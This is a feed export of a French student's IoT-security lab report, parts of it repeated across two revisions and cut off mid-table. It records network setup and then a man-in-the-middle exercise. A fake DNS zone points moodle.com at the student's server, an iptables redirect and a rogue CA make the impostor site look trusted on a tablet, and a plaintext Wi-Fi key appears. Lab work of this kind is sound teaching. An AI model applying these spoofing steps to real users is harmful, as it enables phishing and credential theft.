iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10516</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10516"/>
		<updated>2025-10-07T17:12:35Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Serveur virtuel (17/09) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
